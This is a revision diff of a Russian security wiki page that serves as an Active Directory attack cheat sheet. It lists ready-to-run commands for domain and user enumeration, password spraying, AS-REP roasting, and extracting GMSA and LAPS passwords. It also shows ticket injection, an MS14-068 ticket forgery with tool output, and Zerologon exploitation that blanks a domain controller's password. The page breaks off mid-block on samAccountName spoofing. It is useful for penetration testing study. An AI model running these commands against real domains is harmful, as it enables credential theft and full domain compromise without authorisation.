Active directory — различия между версиями

Материал из InformationSecurity WIKI
Перейти к: навигация, поиск
м (Общая информация о сети)
м (Resource Based Constrained Delegation / Ограниченное на основе ресурсов)
 
(не показаны 52 промежуточные версии этого же участника)
Строка 44: Строка 44:
 
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 
nmap -p 53,389,135 <network/24> -v -sV
 
nmap -p 53,389,135 <network/24> -v -sV
 +
</syntaxhighlight>
 +
 +
==== ldapsearch ====
 +
 +
Если мы нашли сервис LDAP, но по каким то причинам nmap не определил домен, то можно попытаться подключиться и самим определить.
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
ldapsearch -x -h 10.10.10.175 -s base namingcontexts
 
</syntaxhighlight>
 
</syntaxhighlight>
  
Строка 189: Строка 197:
  
 
=== Без перебора ===
 
=== Без перебора ===
 +
 +
==== crackmapexec ====
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
crackmapexec smb <ip> -u <user> -p <password> --users
 +
</syntaxhighlight>
 +
 +
==== powershell ====
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
Get-ADUser -Filter 'Name -like "*SvcAccount"' | Format-Table Name,SamAccountName -A
 +
</syntaxhighlight>
 +
 +
==== Impacket-GetADUsers ====
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
python3 GetADUsers.py -all test.local/john:password123 -dc-ip 10.10.10.1
 +
</syntaxhighlight>
 +
 +
==== windapsearch ====
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
windapsearch --users ...
 +
</syntaxhighlight>
 +
 +
 +
==== ldapsearch ====
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
ldapsearch -xLLL -h domain.org -D "domain\\user" -W -b "DC=domain,DC=org" -s sub "(objectclass=user)" sAMAccountName
 +
</syntaxhighlight>
 +
  
 
=== С перебором ===
 
=== С перебором ===
 +
 +
==== nmap ====
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='<domain>',userdb=<users_list_file>" <dc_ip>
 +
</syntaxhighlight>
 +
 +
==== enum4linux ====
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
enum4linux -U <dc-ip> | grep 'user:'
 +
</syntaxhighlight>
  
 
== Время сети ==
 
== Время сети ==
Строка 243: Строка 295:
  
 
=== IP ===
 
=== IP ===
 +
 +
==== powershell ====
 +
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
Get-ADComputer -Filter * -Properties ipv4Address, OperatingSystem, OperatingSystemServicePack | Format-List name, ipv4*, oper*
 +
</syntaxhighlight>
 +
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
$domain = [System.Directoryservices.Activedirectory.Domain]::GetCurrentDomain()
 +
$domain | ForEach-Object {$_.DomainControllers} |
 +
ForEach-Object {
 +
  $hostEntry= [System.Net.Dns]::GetHostByName($_.Name)
 +
New-Object -TypeName PSObject -Property @{
 +
      Name = $_.Name
 +
      IPAddress = $hostEntry.AddressList[0].IPAddressToString
 +
    }
 +
} | Select Name, IPAddress
 +
</syntaxhighlight>
 +
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
Get-WinEvent  -Computer (computer name) -FilterHashtable @{Logname='Security';ID=4672} -MaxEvents 1 | select @{N='User';E={$_.Properties[1].Value}}
 +
</syntaxhighlight>
 +
 +
В CSV:
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
$domain = [System.Directoryservices.Activedirectory.Domain]::GetCurrentDomain()
 +
$domain | ForEach-Object {$_.DomainControllers} |
 +
ForEach-Object {
 +
  $hostEntry= [System.Net.Dns]::GetHostByName($_.Name)
 +
  New-Object -TypeName PSObject -Property @{
 +
      Name = $_.Name
 +
      IPAddress = $hostEntry.AddressList[0].IPAddressToString
 +
    }
 +
} | Export-CSV "C:\DomainControllers.csv" -NoTypeInformation -Encoding UTF8
 +
</syntaxhighlight>
  
 
=== Сервисы ===
 
=== Сервисы ===
  
 +
 +
 +
== Group Policy ==
 +
 +
=== Доменный ПК ===
 +
 +
На том же ПК
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
Get-NetGPO -ComputerName name.domain.com
 +
</syntaxhighlight>
 +
 +
На другом ПК
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
Get-DomainGPO -ComputerIdentity ws01 -Properties Name,DisplayName
 +
</syntaxhighlight>
 +
 +
Обьекты с определенной политикой
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
Get-DomainOU -GPLink "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" -Properties DistinguishedName
 +
</syntaxhighlight>
 +
 +
Все политики
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
Get-NetGPO | % {Get-ObjectAcl -ResolveGUIDs -Name $_.Name}
 +
</syntaxhighlight>
 +
 +
Все ПК с политикой
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}
 +
</syntaxhighlight>
  
 
= Получение начального доступа =  
 
= Получение начального доступа =  
  
 
== Анонимный доступ ==
 
== Анонимный доступ ==
 +
Для проверки анонимного доступа можно воспользоваться одним из следующих протоколов.
 +
 +
=== LDAP ===
 +
 +
==== windapsearch ====
 +
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
Get-ADComputer -Filter * -Properties ipv4Address, OperatingSystem, OperatingSystemServicePack | Format-List name, ipv4*, oper*
 +
</syntaxhighlight>
 +
 +
==== nmap ====
 +
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
sudo nmap x.x.X.x -Pn -sV
 +
 +
# 636/tcp open  ssl/ldap (Anonymous bind OK)
 +
</syntaxhighlight>
 +
 +
=== SMB ===
 +
 +
==== smbmap ====
 +
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
python smbmap.py -H 192.168.0.1
 +
</syntaxhighlight>
 +
 +
==== smbclient ====
 +
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
smbclient –L 192.168.1.108
 +
</syntaxhighlight>
 +
 +
==== nmap ====
 +
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
sudo nmap -sU -sS --script smb-enum-shares.nse -p U:137,T:139 <host>
 +
</syntaxhighlight>
 +
 +
=== MSRPC ===
 +
 +
==== rpcclient ====
 +
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
rpcclient -U '' -N 10.10.10.1
 +
</syntaxhighlight>
  
 
== Учетные данные ==
 
== Учетные данные ==
Строка 256: Строка 418:
 
Перебор учетных данных по протоколам лучше смотреть тут http://itsecwiki.org/index.php/Brute_force
 
Перебор учетных данных по протоколам лучше смотреть тут http://itsecwiki.org/index.php/Brute_force
  
 +
Стоит заметить, что лучше всего использовать технику Password Spraying тк по-умолчанию аккаунты блокируются от большого количества попыток ввода пароля. Максимум лучше по 3-5 паролей на аккаунт.
 +
 +
Протоколы: SMB, OWA, smtp, skype,...
  
 
=== Оффлайн перебор ===
 
=== Оффлайн перебор ===
Строка 352: Строка 517:
  
 
Если у Kerberos отключена предварительная аутентификация, то сервер вернет ASP-REP, зашифрованная часть которого подписана клиентским ключем на кого он выписан.  
 
Если у Kerberos отключена предварительная аутентификация, то сервер вернет ASP-REP, зашифрованная часть которого подписана клиентским ключем на кого он выписан.  
 +
 +
Для эксплуатации требуется выставить у аккаунта жертвы "Kerberos Pre-Authentication" в Disables.
  
 
===== Получить хеш =====
 
===== Получить хеш =====
Строка 357: Строка 524:
 
Rubeus
 
Rubeus
 
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
Rubeus.exe aspreproast
+
Rubeus.exe asreproast /user:TestOU3user /format:hashcat /outfile:hashes.asreproast
 
</syntaxhighlight>
 
</syntaxhighlight>
 +
  
 
GetNPUsers.py
 
GetNPUsers.py
 
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 
GetNPUsers.py CONTOSO.COM/Administrator:'P@ssw0rd' -request
 
GetNPUsers.py CONTOSO.COM/Administrator:'P@ssw0rd' -request
 +
 +
python GetNPUsers.py htb.local/svc-alfresco -no-pass
 +
python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
 +
python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast
 
</syntaxhighlight>
 
</syntaxhighlight>
  
 +
 +
CrackMapExec
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
crackmapexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --asreproast output.txt
 +
</syntaxhighlight>
  
 
Для информации о переборе хеша перейдите на страницу http://itsecwiki.org/index.php/Offline_bruteforce#ASP-REP
 
Для информации о переборе хеша перейдите на страницу http://itsecwiki.org/index.php/Offline_bruteforce#ASP-REP
 
  
 
==== SAM & SYSTEM ====
 
==== SAM & SYSTEM ====
Строка 383: Строка 559:
  
 
После чего следуйте инструкциям в пункте про NTLM.
 
После чего следуйте инструкциям в пункте про NTLM.
 +
 +
 +
=== Другие способы получения аккаунта ===
 +
 +
==== Пароль в комментариях ====
 +
 +
Иногда пароль может быть указан в описании пользователя. Таких полей может быть несколько: UserPassword, UnixUserPassword, unicodePwd, msSFU30Password.
 +
Поэтому желательно либо прогонять несколько команд, либо дампить пользователей, например, в LDAP и смотреть все поля.
 +
 +
 +
CrackMapExec
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
crackmapexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 -M get-desc-users
 +
</syntaxhighlight>
 +
 +
 +
Enum4Linux
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
enum4linux | grep -i desc
 +
</syntaxhighlight>
 +
 +
 +
Powershell
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
Get-WmiObject -Class Win32_UserAccount -Filter "Domain='COMPANYDOMAIN' AND Disabled='False'" | Select Name, Domain, Status, LocalAccount, AccountType, Lockout, PasswordRequired,PasswordChangeable, Description, SID
 +
</syntaxhighlight>
 +
 +
 +
ldapdomaindump
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
ldapdomaindump -u 'DOMAIN\john' -p MyP@ssW0rd 10.10.10.10 -o ~/Documents/AD_DUMP/
 +
</syntaxhighlight>
 +
 +
 +
windapsearch https://github.com/ropnop/windapsearch
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
windapsearch --users --full ...
 +
</syntaxhighlight>
 +
 +
==== Пароли GMSA ====
 +
 +
Group Managed Service Accounts (GMSAs) - это групповая управляемая Доменная учетная запись, которая обеспечивает автоматическое управление паролями, упрощенное управление именами участников-служб и возможность делегирования управления другим администраторам.
 +
Такой тип управляемой учетной записи службы реализован в ОС Windows Server 2008 R2 и Windows 7. И надо соответственно получить хранящиеся там пароли.
 +
 +
Основные поля:
 +
 +
- msDS-GroupMSAMembership (PrincipalsAllowedToRetrieveManagedPassword) - хранят параметры безопасности кто может получить доступ к паролям
 +
 +
- msds-ManagedPassword - сам пароль в зашифрованном виде, его еще расшифровать надо
 +
 +
- msDS-ManagedPasswordId - идентификатор пароля
 +
 +
- msDS-ManagedPasswordInterval - информация о том, как часто будет меняться пароль автоматически
 +
 +
 +
В начале требуется найти все аккаунты, у которых есть эти поля. Например, будем основываться на msDS-ManagedPasswordInterval:
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
Get-ADServiceAccount -filter * -prop * | Select Name,msDS-ManagedPasswordId,msDS-ManagedPasswordInterval,msds-ManagedPassword,msDS-GroupMSAMembership
 +
</syntaxhighlight>
 +
 +
Или используя windapsearch (надо перепроверить команду):
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
windapsearch --users --full --attrs msDS-ManagedPasswordId ...
 +
</syntaxhighlight>
 +
 +
 +
После чего уже идет этап с эксплуатацией, если у вас есть доступ (поле msDS-GroupMSAMembership):
 +
 +
Powershell
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
$gmsa =  Get-ADServiceAccount -Identity 'SVC_SERVICE_ACCOUNT' -Properties 'msDS-ManagedPassword'
 +
$blob = $gmsa.'msDS-ManagedPassword'
 +
$mp = ConvertFrom-ADManagedPasswordBlob $blob
 +
$hash1 =  ConvertTo-NTHash -Password $mp.SecureCurrentPassword
 +
</syntaxhighlight>
 +
 +
 +
GMSAPasswordReader https://github.com/rvazarkar/GMSAPasswordReader
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
GMSAPasswordReader.exe --accountname SVC_SERVICE_ACCOUNT
 +
</syntaxhighlight>
 +
 +
 +
gMSADumper - https://github.com/micahvandeusen/gMSADumper
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
python3 gMSADumper.py -u User -p Password1 -d domain.local
 +
</syntaxhighlight>
 +
 +
gMSA_Permissions_Collection.ps1 - https://gist.github.com/kdejoyce/f0b8f521c426d04740148d72f5ea3f6f#file-gmsa_permissions_collection-ps1
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
.\LAPS_Permissions_Collection.ps1 > output.txt
 +
</syntaxhighlight>
 +
 +
 +
==== Пароли в LAPS ====
 +
 +
Local Administrator Password Solution(LAPS) - тупо система которая генерирует и меняет пароли по расписанию.
 +
 +
Особенность в том, что она хранит пароли в cleartext
 +
 +
ms-mcs-AdmPwd - атрибут у учетки ПК, который по-умолчанию могут прочитать только доменные админы.
 +
 +
 +
Достаточно просто прочитать данные параметры у доступных аккаунтов (соответственно если это поле будет нам доступно).
 +
 +
 +
adsisearcher
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
# для всех аккаунтов
 +
([adsisearcher]"(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(sAMAccountName=*))").findAll() | ForEach-Object { $_.properties}
 +
 +
# для определенного аккаунта
 +
([adsisearcher]"(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(sAMAccountName=MACHINE$))").findAll() | ForEach-Object { $_.properties}
 +
</syntaxhighlight>
 +
 +
 +
PowerView https://github.com/PowerShellEmpire/PowerTools
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
Import-Module .\PowerView.ps1
 +
Get-DomainComputer COMPUTER -Properties ms-mcs-AdmPwd,ComputerName,ms-mcs-AdmPwdExpirationTime
 +
</syntaxhighlight>
 +
 +
 +
LAPSToolkit https://github.com/leoloobeek/LAPSToolkit
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
# Если есть права то пароли покажутся, иначе исключения не будет, но поля паролей будут пустыми
 +
Get-LAPSComputers
 +
 +
# Ищет группы которые могут смотреть атрибут LAPS с паролем - ms-Mcs-AdmPwd
 +
Find-LAPSDelegatedGroups
 +
 +
# Парсит ACL(списки управления доступом) каждого ПК в домене и ищет, кто может почитать атрибуты паролей.
 +
Find-AdmPwdExtendedRights
 +
</syntaxhighlight>
 +
 +
 +
Powershell AdmPwd.PS
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
foreach ($objResult in $colResults){$objComputer = $objResult.Properties; $objComputer.name|where {$objcomputer.name -ne $env:computername}|%{foreach-object {Get-AdmPwdPassword -ComputerName $_}}}
 +
</syntaxhighlight>
 +
 +
pyLAPS https://github.com/p0dalirius/pyLAPS
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
# Чтение паролей всех ПК
 +
./pyLAPS.py --action get -u 'Administrator' -d 'LAB.local' -p 'Admin123!' --dc-ip 192.168.2.1
 +
 +
# Выставить случайный пароль определенному ПК
 +
./pyLAPS.py --action set --computer 'PC01$' -u 'Administrator' -d 'LAB.local' -p 'Admin123!' --dc-ip 192.168.2.1
 +
</syntaxhighlight>
 +
 +
 +
CrackMapExec https://github.com/byt3bl33d3r/CrackMapExec
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
crackmapexec smb 10.10.10.10 -u 'user' -H '8846f7eaee8fb117ad06bdd830b7586c' -M laps
 +
</syntaxhighlight>
 +
 +
LAPSDumper https://github.com/n00py/LAPSDumper
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
# cleartext
 +
python laps.py -u 'user' -p 'password' -d 'domain.local'
 +
 +
# passthehash
 +
python laps.py -u 'user' -p 'e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c' -d 'domain.local' -l 'dc01.domain.local'
 +
</syntaxhighlight>
 +
 +
ldapsearch
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
ldapsearch -x -h  -D "@" -w  -b "dc=<>,dc=<>,dc=<>" "(&(objectCategory=computer)(ms-MCS-AdmPwd=*))" ms-MCS-AdmPwd`
 +
</syntaxhighlight>
  
 
== TGT-билет ==
 
== TGT-билет ==
Строка 410: Строка 755:
 
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 
mimikatz # kerberos::ptt new_ticket.ccache
 
mimikatz # kerberos::ptt new_ticket.ccache
 +
 +
mimikatz.exe "kerberos::ptc c:\temp\TGT_darthsidious@lab.adsecurity.org.ccache"
 
</syntaxhighlight>
 
</syntaxhighlight>
  
Строка 415: Строка 762:
 
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 
export KRB5CCNAME=./test.ccache
 
export KRB5CCNAME=./test.ccache
 +
</syntaxhighlight>
 +
 +
= Сбор информации о пользователе =
 +
 +
== SID ==
 +
 +
Получиь SID пользователя, часто нужно для запросов/эксплуатации.
 +
 +
=== Доступ к ПК ===
 +
 +
==== cmd.exe ====
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
wmic useraccount get name,sid
 +
</syntaxhighlight>
 +
 +
==== powershell ====
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
Convert-NameToSid high-sec-corp.localkrbtgt
 +
S-1-5-21-2941561648-383941485-1389968811-502
 +
</syntaxhighlight>
 +
 +
== Группы ==
 +
 +
=== С доступом к ПК ===
 +
 +
==== Powershell ====
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
Get-ADPrincipalGroupMembership username | select name
 +
</syntaxhighlight>
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
Import-Module ActiveDirectory
 +
(Get-ADUser userName –Properties MemberOf | Select-Object MemberOf).MemberOf
 +
 +
(Get-ADUser userName –Properties MemberOf).MemberOf
 +
</syntaxhighlight>
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
(New-Object System.DirectoryServices.DirectorySearcher("(&(objectCategory=User)(samAccountName=$($env:username)))")).FindOne().GetDirectoryEntry().memberOf
 +
</syntaxhighlight>
 +
 +
 +
==== cmd.exe ====
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
net user /domain username
 +
</syntaxhighlight>
 +
 +
=== Удаленно ===
 +
 +
==== Windapsearch ====
 +
https://github.com/ropnop/windapsearch
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
windapsearch -G ...
 +
</syntaxhighlight>
 +
 +
==== Ldapsearch ====
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
ldapsearch -x -H "ldap://openldap" -D "CN=UserName,CN=Users,DC=YOURDOMAIN,DC=NET" -w admin '(member:1.2.840.113556.1.4.1941)'
 +
</syntaxhighlight>
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
ldapsearch -LLL -x -h DC-THESHIP.PLANETEXPRESS.LOCAL -p 389 -D 'PLANETEXPRESS\SService' -w 'L1feD3@thSeamlessContinuum' -b 'DC=PLANETEXPRESS,DC=LOCAL' "(member=1.2.840.113556.1.4.1941)" dn
 +
</syntaxhighlight>
 +
 +
== Правила ==
 +
 +
=== Доступ к ПК ===
 +
 +
==== Powershell ====
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
string currentuser = Environment.UserName;
 +
string currentmachine = Environment.MachineName;
 +
 +
if (DirectoryEntry.Exists(string.Format("WinNT://{0}/{1}", currentmachine,  currentuser)))
 +
{
 +
    Console.WriteLine("it's working\n");
 +
    Roles.Enabled = true;
 +
    Console.WriteLine(Roles.GetRolesForUser(currentuser));
 +
}
 +
else
 +
{
 +
    Console.WriteLine("it's not working");
 +
}
 +
</syntaxhighlight>
 +
 +
 +
=== Удаленно ===
 +
 +
 +
== Политики ==
 +
 +
= Автоматизированный поиск уязвимостей =
 +
 +
=== BloodHound ===
 +
 +
 +
=== PingCastle ===
 +
 +
 +
== Повышение привилегий ==
 +
 +
=== Горизонтальные ===
 +
 +
=== Вертикальные ===
 +
 +
 +
= Атаки =
 +
 +
== Некорректная настройка разрешений ==
 +
 +
== Другое ==
 +
 +
=== MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability) ===
 +
 +
Суть уязвимости в некорректной проверке чексуммы на контроллере доменов, что позволяет получить контроль над всем доменом. Поэтому соответственно проверки локальные на уязвимость должны проходить именно на контроллере доменов.
 +
 +
==== 0. Проверить есть ли уязвимость ====
 +
 +
Powershell
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
Get-HotFix 3011780
 +
</syntaxhighlight>
 +
 +
ridenum
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
~$ git clone https://github.com/trustedsec/ridenum
 +
~$ cd ridenum
 +
~$ python FindSMB2UPTime.py 10.50.50.145
 +
DC is up since: 2014-10-19 19:32:23
 +
This DC is vulnerable to MS14-068
 +
</syntaxhighlight>
 +
 +
 +
cmd.exe
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
systeminfo | find "3011780"
 +
</syntaxhighlight>
 +
 +
==== 1. Получить SID пользователя ====
 +
 +
Как получить SID: http://itsecwiki.org/index.php/Active_directory#SID
 +
 +
==== 2. Сгенерировать билет ====
 +
 +
Используя Metasploit:
 +
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
Metasploit: auxiliary/admin/kerberos/ms14_068_kerberos_checksum
 +
  Name      Current Setting                                Required  Description
 +
  ----      ---------------                                --------  -----------
 +
  DOMAIN    LABDOMAIN.LOCAL                                yes      The Domain (upper case) Ex: DEMO.LOCAL
 +
  PASSWORD  P@ssw0rd                                      yes      The Domain User password
 +
  RHOSTS    10.10.10.10                                    yes      The target address range or CIDR identifier
 +
  RPORT    88                                            yes      The target port
 +
  Timeout  10                                            yes      The TCP timeout to establish connection and read data
 +
  USER      lambda                                        yes      The Domain User
 +
  USER_SID  S-1-5-21-297520375-2634728305-5197346142-1106  yes      The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000
 +
</syntaxhighlight>
 +
 +
Используя pykek:
 +
 +
https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek
 +
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
git clone https://github.com/SecWiki/windows-kernel-exploits
 +
cd windows-kernel-exploits
 +
python ./ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> -p <clearPassword>
 +
 +
python ms14-068.py -u user01@metasploitable.local -d msfdc01.metasploitable.local -p Password1 -s S-1-5-21-2928836948-3642677517-2073454066
 +
-1105
 +
  [+] Building AS-REQ for msfdc01.metasploitable.local... Done!
 +
  [+] Sending AS-REQ to msfdc01.metasploitable.local... Done!
 +
  [+] Receiving AS-REP from msfdc01.metasploitable.local... Done!
 +
  [+] Parsing AS-REP from msfdc01.metasploitable.local... Done!
 +
  [+] Building TGS-REQ for msfdc01.metasploitable.local... Done!
 +
  [+] Sending TGS-REQ to msfdc01.metasploitable.local... Done!
 +
  [+] Receiving TGS-REP from msfdc01.metasploitable.local... Done!
 +
  [+] Parsing TGS-REP from msfdc01.metasploitable.local... Done!
 +
  [+] Creating ccache file 'TGT_user01@metasploitable.local.ccache'... Done!
 +
</syntaxhighlight>
 +
 +
==== 3. Загрузить билет ====
 +
 +
Как загрузить билет: http://itsecwiki.org/index.php/Active_directory#.D0.98.D0.BC.D0.BF.D0.BE.D1.80.D1.82_.D1.82.D0.B8.D0.BA.D0.B5.D1.82.D0.B0
 +
 +
==== 4. Настроить время ====
 +
 +
Последний шаг - перед использованием настроить время такое же как и у DC. Выше было как
 +
 +
=== CVE-2020-1472 Zerologon ===
 +
 +
Уязвимость эксплуатируется максимум за 256 запросов доменному контроллеру. Ошибка в целом принадлежит реализации netlogon.
 +
 +
Если тупо - при выставлении нулей в запросе, максимум за 256 запросов DC примет вас за выбранного вами пользователя без проверки пароля.
 +
 +
==== Проверить ====
 +
 +
Mimikatz
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
privilege::debug
 +
# Check for the CVE
 +
lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$
 +
</syntaxhighlight>
 +
 +
CrackMapExec
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
crackmapexec smb 10.10.10.10 -u username -p password -d domain -M zerologon
 +
</syntaxhighlight>
 +
 +
https://github.com/SecuraBV/CVE-2020-1472
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
proxychains python3 zerologon_tester.py DC01 172.16.1.5
 +
</syntaxhighlight>
 +
 +
==== Эксплуатировать ====
 +
 +
Этапы:
 +
 +
1. Отправление 256 запросов (max).
 +
 +
2. Отключение шифрования MS-NRPC (стандартная процедура на стороне клиента, как, например разрешение на небезопасное подключение в HTTPS)
 +
 +
3. Смена пароля текущего юзера используя MS-NRPC
 +
 +
Следующими командами можно сбросить пароль у DC01 на пустой.
 +
 +
https://github.com/dirkjanm/CVE-2020-1472/blob/master/cve-2020-1472-exploit.py
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
#reset DC01 pass
 +
proxychains python3 cve-2020-1472-exploit.py DC01 172.16.1.5
 +
</syntaxhighlight>
 +
 +
Mimikatz
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
privilege::debug
 +
 +
# Exploit the CVE and set the computer account's password to ""
 +
lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$ /exploit
 +
 +
#Вариант 2: сбросить пароль по Windows API на "Waza1234/Waza1234/Waza1234/"
 +
lsadump::postzerologon /target:10.10.10.10 /account:DC01$
 +
</syntaxhighlight>
 +
 +
 +
=== samAccountName spoofing  ===
 +
 +
Если кратко:  в начале AD пробует найти имя аккаунта указанное вами. Если имя не найдено, то AD добавляет $ в конец имени (признак машинной учетки ) и работает  с новым именем. Поэтому атакующий может создать например аккаунт DC,  получить для него билет, после чего переименовать учетку и  с данными билетом постучаться на сервер. Тк аккаунта DC уже не существует, то он постучится от аккаунта DC$  - а это учетка доменного админа.
 +
 +
 +
 +
==== Проверка ====
 +
 +
Требуется, следующий параметр: MachineAccountQuota > 0 - Число учетных записей компьютеров, которые пользователь может создать в домене.
 +
 +
Проверяем квоту на создание акккаунтов:
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
crackmapexec ldap 10.10.10.10 -u username -p 'Password123' -d 'domain.local' --kdcHost 10.10.10.10 -M MAQ
 +
 +
StandIn.exe --object ms-DS-MachineAccountQuota=*
 +
</syntaxhighlight>
 +
 +
 +
Проверяем уязвим ли доменный контроллер:
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
crackmapexec smb 10.10.10.10 -u '' -p '' -d domain -M nopac
 +
</syntaxhighlight>
 +
 +
==== Эксплуатация ====
 +
 +
1. Создать машинную учету с произвольным именем
 +
 +
 +
Impacket
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
